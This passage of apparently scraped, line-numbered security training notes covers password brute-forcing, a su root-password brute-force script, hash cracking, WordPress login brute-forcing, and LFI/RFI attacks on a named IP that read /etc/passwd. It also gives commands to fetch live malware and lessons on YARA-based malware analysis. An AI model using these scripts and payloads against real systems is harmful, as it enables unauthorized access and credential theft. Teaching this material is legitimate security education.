| 1785 | blue | |
| 1786 | yourname | |
| 1787 | tim | |
| 1788 | bob | |
| 1789 | ||
| 1790 | ||
| 1791 | htpasswd -nd yourname | |
| 1792 | - enter yourname as the password | |
| 1793 | ||
| 1794 | ||
| 1795 | ||
| 1796 | python htcrack.py joe:7XsJIbCFzqg/o list.txt | |
| 1797 | ||
| 1798 | ||
| 1799 | ||
| 1800 | ||
| 1801 | sudo apt-get install -y python-mechanize python-pexpect python-pexpect-doc | |
| 1802 | ||
| 1803 | rm -rf mechanize-0.2.5.tar.gz | |
| 1804 | ||
| 1805 | sudo /bin/bash | |
| 1806 | ||
| 1807 | passwd | |
| 1808 | ***set root password*** | |
| 1809 | ||
| 1810 | ||
| 1811 | ||
| 1812 | ||
| 1813 | vi rootbrute.py | |
| 1814 | ||
| 1815 | ||
| 1816 | #!/usr/bin/env python | |
| 1817 | ||
| 1818 | import sys | |
| 1819 | try: | |
| 1820 | import pexpect | |
| 1821 | except(ImportError): | |
| 1822 | print "\nYou need the pexpect module." | |
| 1823 | print "http://www.noah.org/wiki/Pexpect\n" | |
| 1824 | sys.exit(1) | |
| 1825 | ||
| 1826 | #Change this if needed. | |
| 1827 | # LOGIN_ERROR = 'su: incorrect password' | |
| 1828 | LOGIN_ERROR = "su: Authentication failure" | |
| 1829 | ||
| 1830 | def brute(word): | |
| 1831 | print "Trying:",word | |
| 1832 | child = pexpect.spawn('/bin/su')
| |
| 1833 | child.expect('Password: ')
| |
| 1834 | child.sendline(word) | |
| 1835 | i = child.expect (['.+\s#\s',LOGIN_ERROR, pexpect.TIMEOUT],timeout=3) | |
| 1836 | if i == 1: | |
| 1837 | print "Incorrect Password" | |
| 1838 | ||
| 1839 | if i == 2: | |
| 1840 | print "\n\t[!] Root Password:" ,word | |
| 1841 | child.sendline ('id')
| |
| 1842 | print child.before | |
| 1843 | child.interact() | |
| 1844 | ||
| 1845 | if len(sys.argv) != 2: | |
| 1846 | print "\nUsage : ./rootbrute.py <wordlist>" | |
| 1847 | print "Eg: ./rootbrute.py words.txt\n" | |
| 1848 | sys.exit(1) | |
| 1849 | ||
| 1850 | try: | |
| 1851 | words = open(sys.argv[1], "r").readlines() | |
| 1852 | except(IOError): | |
| 1853 | print "\nError: Check your wordlist path\n" | |
| 1854 | sys.exit(1) | |
| 1855 | ||
| 1856 | print "\n[+] Loaded:",len(words),"words" | |
| 1857 | print "[+] BruteForcing...\n" | |
| 1858 | for word in words: | |
| 1859 | brute(word.replace("\n",""))
| |
| 1860 | ||
| 1861 | ||
| 1862 | ||
| 1863 | ||
| 1864 | References you might find helpful: | |
| 1865 | http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python | |
| 1866 | ||
| 1867 | ||
| 1868 | ||
| 1869 | ||
| 1870 | ||
| 1871 | ||
| 1872 | ||
| 1873 | ||
| 1874 | ||
| 1875 | wget https://s3.amazonaws.com/SecureNinja/Python/md5crack.py | |
| 1876 | ||
| 1877 | vi md5crack.py | |
| 1878 | ||
| 1879 | ||
| 1880 | ||
| 1881 | ||
| 1882 | ||
| 1883 | ||
| 1884 | Why use hexdigest | |
| 1885 | http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string | |
| 1886 | ||
| 1887 | ||
| 1888 | ||
| 1889 | ||
| 1890 | http://md5online.net/ | |
| 1891 | ||
| 1892 | ||
| 1893 | ||
| 1894 | ||
| 1895 | ||
| 1896 | ||
| 1897 | ||
| 1898 | wget https://s3.amazonaws.com/SecureNinja/Python/wpbruteforcer.py | |
| 1899 | ||
| 1900 | ||
| 1901 | ||
| 1902 | ||
| 1903 | ############################# | |
| 1904 | # Reference Videos To Watch # | |
| 1905 | ############################# | |
| 1906 | Here is your forth set of youtube videos that I'd like for you to watch: | |
| 1907 | https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 31-40) | |
| 1908 | ||
| 1909 | ||
| 1910 | ||
| 1911 | ||
| 1912 | ||
| 1913 | ###################### | |
| 1914 | # Lesson 29: Web App # | |
| 1915 | ###################### | |
| 1916 | vi wpbruteforcer.py | |
| 1917 | ||
| 1918 | ||
| 1919 | python wpbruteforcer.py -t strategicsec.com -u j0e -w list.txt | |
| 1920 | ||
| 1921 | ||
| 1922 | ||
| 1923 | - Here is an example of an LFI | |
| 1924 | - Open this page in Firefox: | |
| 1925 | http://54.186.248.116/showfile.php?filename=contactus.txt | |
| 1926 | ||
| 1927 | - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt) | |
| 1928 | - Here you see a direct reference to a file on the local filesystem of the victim machine. | |
| 1929 | - You can attack this by doing the following: | |
| 1930 | http://54.186.248.116/showfile.php?filename=/etc/passwd | |
| 1931 | ||
| 1932 | - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from | |
| 1933 | - somewhere else on the Internet. Here is an example of a text file on the web: | |
| 1934 | http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt | |
| 1935 | ||
| 1936 | - Now we can attack the target via RFI like this: | |
| 1937 | http://54.186.248.116/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt | |
| 1938 | ||
| 1939 | ||
| 1940 | - Now let's see if we can write some code to do this for us: | |
| 1941 | ||
| 1942 | vi LFI-RFI.py | |
| 1943 | ||
| 1944 | ||
| 1945 | ||
| 1946 | #!/usr/bin/env python | |
| 1947 | print "\n### PHP LFI/RFI Detector ###" | |
| 1948 | print "### Sean Arries 09/18/09 ###\n" | |
| 1949 | ||
| 1950 | import urllib2,re,sys | |
| 1951 | ||
| 1952 | ||
| 1953 | TARGET = "http://54.186.248.116/showfile.php?filename=contactus.txt" | |
| 1954 | RFIVULN = "http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt?" | |
| 1955 | TravLimit = 12 | |
| 1956 | ||
| 1957 | print "==> Testing for LFI vulns.." | |
| 1958 | TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
| |
| 1959 | for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP | |
| 1960 | TARGET += "../" | |
| 1961 | try: | |
| 1962 | source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST | |
| 1963 | except urllib2.URLError, e: | |
| 1964 | print "$$$ We had an Error:",e | |
| 1965 | sys.exit(0) | |
| 1966 | if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
| |
| 1967 | print "!! ==> LFI Found:",TARGET+"etc/passwd" | |
| 1968 | break ## BREAK LOOP WHEN VULN FOUND | |
| 1969 | ||
| 1970 | print "\n==> Testing for RFI vulns.." | |
| 1971 | TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
| |
| 1972 | try: | |
| 1973 | source = urllib2.urlopen(TARGET).read() ## WEB REQUEST | |
| 1974 | except urllib2.URLError, e: | |
| 1975 | print "$$$ We had an Error:",e | |
| 1976 | sys.exit(0) | |
| 1977 | if re.search("j0e",source): ## SEARCH FOR TEXT IN SOURCE
| |
| 1978 | print "!! => RFI Found:",TARGET | |
| 1979 | ||
| 1980 | ||
| 1981 | print "\nScan Complete\n" ## DONE | |
| 1982 | ||
| 1983 | ||
| 1984 | ||
| 1985 | ||
| 1986 | ############################### | |
| 1987 | # Lesson 30: Malware Analysis # | |
| 1988 | ############################### | |
| 1989 | This is actual Malware (remmeber to run it in a VM - the password to extract it is 'infected': | |
| 1990 | wget https://s3.amazonaws.com/StrategicSec-Files/MalwareAnalysis/malware-password-is-infected.zip | |
| 1991 | wget http://www.beenuarora.com/code/analyse_malware.py | |
| 1992 | ||
| 1993 | unzip malware-password-is-infected.zip | |
| 1994 | infected | |
| 1995 | ||
| 1996 | file malware.exe | |
| 1997 | ||
| 1998 | mv malware.exe malware.pdf | |
| 1999 | ||
| 2000 | file malware.pdf | |
| 2001 | ||
| 2002 | mv malware.pdf malware.exe | |
| 2003 | ||
| 2004 | hexdump -n 2 -C malware.exe | |
| 2005 | ||
| 2006 | ***What is '4d 5a' or 'MZ'*** | |
| 2007 | Reference: http://www.garykessler.net/library/file_sigs.html | |
| 2008 | ||
| 2009 | ||
| 2010 | objdump -x malware.exe | |
| 2011 | ||
| 2012 | strings malware.exe | |
| 2013 | ||
| 2014 | strings --all malware.exe | head -n 6 | |
| 2015 | ||
| 2016 | strings malware.exe | grep -i dll | |
| 2017 | ||
| 2018 | strings malware.exe | grep -i library | |
| 2019 | ||
| 2020 | strings malware.exe | grep -i reg | |
| 2021 | ||
| 2022 | strings malware.exe | grep -i hkey | |
| 2023 | ||
| 2024 | strings malware.exe | grep -i hku | |
| 2025 | ||
| 2026 | - We didn't see anything like HKLM, HKCU or other registry type stuff | |
| 2027 | ||
| 2028 | strings malware.exe | grep -i irc | |
| 2029 | ||
| 2030 | strings malware.exe | grep -i join | |
| 2031 | ||
| 2032 | strings malware.exe | grep -i admin | |
| 2033 | ||
| 2034 | strings malware.exe | grep -i list | |
| 2035 | ||
| 2036 | ||
| 2037 | - List of IRC commands: https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands | |
| 2038 | sudo apt-get install -y python-pefile | |
| 2039 | ||
| 2040 | vi analyse_malware.py | |
| 2041 | ||
| 2042 | python analyse_malware.py malware.exe | |
| 2043 | ||
| 2044 | ||
| 2045 | Here is a 2 million sample malware DB created by Derek Morton that you can use to start your DB with: | |
| 2046 | http://derekmorton.name/files/malware_12-14-12.sql.bz2 | |
| 2047 | ||
| 2048 | ||
| 2049 | Malware Repositories: | |
| 2050 | http://malshare.com/index.php | |
| 2051 | http://www.malwareblacklist.com/ | |
| 2052 | http://www.virusign.com/ | |
| 2053 | http://virusshare.com/ | |
| 2054 | http://www.tekdefense.com/downloads/malware-samples/ | |
| 2055 | ||
| 2056 | ########################################## | |
| 2057 | # Lesson 31: Creating a Malware Database # | |
| 2058 | ########################################## | |
| 2059 | ||
| 2060 | Creating a malware database (sqlite) | |
| 2061 | ------------------------------------ | |
| 2062 | wget https://malwarecookbook.googlecode.com/svn/trunk/4/4/avsubmit.py | |
| 2063 | wget https://s3.amazonaws.com/StrategicSec-Files/MalwareAnalysis/malware-password-is-infected.zip | |
| 2064 | unzip malware-password-is-infected.zip | |
| 2065 | infected | |
| 2066 | python avsubmit.py --init | |
| 2067 | python avsubmit.py -f malware.exe -e | |
| 2068 | ||
| 2069 | ||
| 2070 | ||
| 2071 | ||
| 2072 | ||
| 2073 | Creating a malware database (mysql) | |
| 2074 | ----------------------------------- | |
| 2075 | Step 1: Installing MySQL database | |
| 2076 | Run the following command in the terminal: | |
| 2077 | ||
| 2078 | sudo apt-get install mysql-server | |
| 2079 | ||
| 2080 | Step 2: Installing Python MySQLdb module | |
| 2081 | Run the following command in the terminal: | |
| 2082 | ||
| 2083 | sudo apt-get build-dep python-mysqldb | |
| 2084 | sudo apt-get install python-mysqldb | |
| 2085 | ||
| 2086 | Step 3: Logging in | |
| 2087 | Run the following command in the terminal: | |
| 2088 | ||
| 2089 | mysql -u root -p (set a password of 'malware') | |
| 2090 | ||
| 2091 | Then create one database by running following command: | |
| 2092 | ||
| 2093 | create database malware; | |
| 2094 | ||
| 2095 | ||
| 2096 | ||
| 2097 | wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py | |
| 2098 | ||
| 2099 | vi mal_to_db.py -i (fill in database connection information) | |
| 2100 | ||
| 2101 | python mal_to_db.py -i | |
| 2102 | ||
| 2103 | python mal_to_db.py -i -f malware.exe -u | |
| 2104 | ||
| 2105 | ||
| 2106 | mysql -u root -p | |
| 2107 | malware | |
| 2108 | ||
| 2109 | mysql> use malware; | |
| 2110 | ||
| 2111 | select id,md5,sha1,sha256,time FROM files; | |
| 2112 | ||
| 2113 | mysql> quit; | |
| 2114 | ||
| 2115 | ||
| 2116 | ||
| 2117 | ||
| 2118 | ||
| 2119 | ############################## | |
| 2120 | # Lesson 32: Setting up Yara # | |
| 2121 | ############################## | |
| 2122 | ||
| 2123 | ||
| 2124 | sudo apt-get install clamav clamav-freshclam | |
| 2125 | ||
| 2126 | sudo freshclam | |
| 2127 | ||
| 2128 | sudo Clamscan | |
| 2129 | ||
| 2130 | sudo apt-get install libpcre3 libpcre3-dev | |
| 2131 | ||
| 2132 | wget https://github.com/plusvic/yara/archive/v3.1.0.tar.gz | |
| 2133 | ||
| 2134 | wget http://yara-project.googlecode.com/files/yara-python-1.4.tar.gz | |
| 2135 | ||
| 2136 | tar -zxvf v3.1.0.tar.gz | |
| 2137 | ||
| 2138 | cd yara-3.1.0/ | |
| 2139 | ||
| 2140 | ./bootstrap.sh | |
| 2141 | ||
| 2142 | ./configure | |
| 2143 | ||
| 2144 | make | |
| 2145 | ||
| 2146 | make check | |
| 2147 | ||
| 2148 | sudo make install | |
| 2149 | ||
| 2150 | cd yara-python/ | |
| 2151 | ||
| 2152 | python setup.py build | |
| 2153 | ||
| 2154 | sudo python setup.py install | |
| 2155 | ||
| 2156 | cd .. | |
| 2157 | ||
| 2158 | yara -v | |
| 2159 | ||
| 2160 | wget https://malwarecookbook.googlecode.com/svn-history/r5/trunk/3/3/clamav_to_yara.py | |
| 2161 | ||
| 2162 | sigtool -u /var/lib/clamav/main.cvd | |
| 2163 | ||
| 2164 | python clamav_to_yara.py -f main.ndb -o clamav.yara | |
| 2165 | ||
| 2166 | wget https://s3.amazonaws.com/StrategicSec-Files/MalwareAnalysis/malware-password-is-infected.zip | |
| 2167 | ||
| 2168 | unzip malware-password-is-infected.zip | |
| 2169 | infected | |
| 2170 | ||
| 2171 | mkdir malcode/ | |
| 2172 | ||
| 2173 | mv malware.exe malcode/ | |
| 2174 | ||
| 2175 | vi testrule.yara | |
| 2176 | ---------------- | |
| 2177 | rule IsPE | |
| 2178 | {
| |
| 2179 | meta: | |
| 2180 | description = "Windows executable file" | |
| 2181 | ||
| 2182 | condition: | |
| 2183 | // MZ signature at offset 0 and ... | |
| 2184 | uint16(0) == 0x5A4D and | |
| 2185 | // ... PE signature at offset stored in MZ header at 0x3C | |
| 2186 | uint32(uint32(0x3C)) == 0x00004550 | |
| 2187 | } | |
| 2188 | ||
| 2189 | rule has_no_DEP | |
| 2190 | {
| |
| 2191 | meta: | |
| 2192 | description = "DEP is not enabled" | |
| 2193 | ||
| 2194 | condition: | |
| 2195 | IsPE and | |
| 2196 | uint16(uint32(0x3C)+0x5E) & 0x00100 == 0 | |
| 2197 | } | |
| 2198 | ||
| 2199 | rule has_no_ASLR | |
| 2200 | {
| |
| 2201 | meta: | |
| 2202 | description = "ASLR is not enabled" | |
| 2203 | ||
| 2204 | condition: | |
| 2205 | IsPE and | |
| 2206 | uint16(uint32(0x3C)+0x5E) & 0x0040 == 0 | |
| 2207 | } | |
| 2208 | ---------------- | |
| 2209 | ||
| 2210 | ||
| 2211 | yara testrule.yara malcode/malware.exe | |
| 2212 | ||
| 2213 | mkdir rules/ | |
| 2214 | ||
| 2215 | cd rules/ | |
| 2216 | ||
| 2217 | wget https://malwarecookbook.googlecode.com/svn-history/r5/trunk/3/5/capabilities.yara | |
| 2218 | ||
| 2219 | wget https://malwarecookbook.googlecode.com/svn-history/r5/trunk/3/6/magic.yara | |
| 2220 | ||
| 2221 | wget https://malwarecookbook.googlecode.com/svn-history/r5/trunk/3/4/packer.yara | |
| 2222 | ||
| 2223 | cd .. | |
| 2224 | ||
| 2225 | yara rules/ malcode/malware.exe | |
| 2226 | ||
| 2227 | wget https://github.com/Xen0ph0n/YaraGenerator/archive/master.zip | |
| 2228 | ||
| 2229 | unzip master.zip | |
| 2230 | ||
| 2231 | cd YaraGenerator-master/ | |
| 2232 | ||
| 2233 | python yaraGenerator.py ../malcode/ -r Test-Rule-2 -a "Joe McCray" -d "Test Rule Made With Yara Generator" -t "TEST" -f "exe" | |
| 2234 | ||
| 2235 | cat Test-Rule-2.yar | |
| 2236 | ||
| 2237 | wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe | |
| 2238 | ||
| 2239 | yara Test-Rule-2.yar putty.exe | |
| 2240 | ||
| 2241 | ||
| 2242 | ||
| 2243 | ||
| 2244 | ||
| 2245 | ||
| 2246 | ||
| 2247 | ||
| 2248 | ||
| 2249 | ||
| 2250 | ||
| 2251 | ||
| 2252 | ||
| 2253 | ||
| 2254 | #################### | |
| 2255 | # Additional Tasks # | |
| 2256 | #################### | |
| 2257 | ||
| 2258 | - PE Scanner: | |
| 2259 | https://malwarecookbook.googlecode.com/svn/trunk/3/8/pescanner.py | |
| 2260 | http://www.beenuarora.com/code/analyse_malware.py | |
| 2261 | ||
| 2262 | - AV submission: | |
| 2263 | http://malwarecookbook.googlecode.com/svn/trunk/4/4/avsubmit.py | |
| 2264 | https://raw.githubusercontent.com/dcmorton/MalwareTools/master/vtsubmit.py | |
| 2265 | ||
| 2266 | - Malware Database Creation: | |
| 2267 | https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py |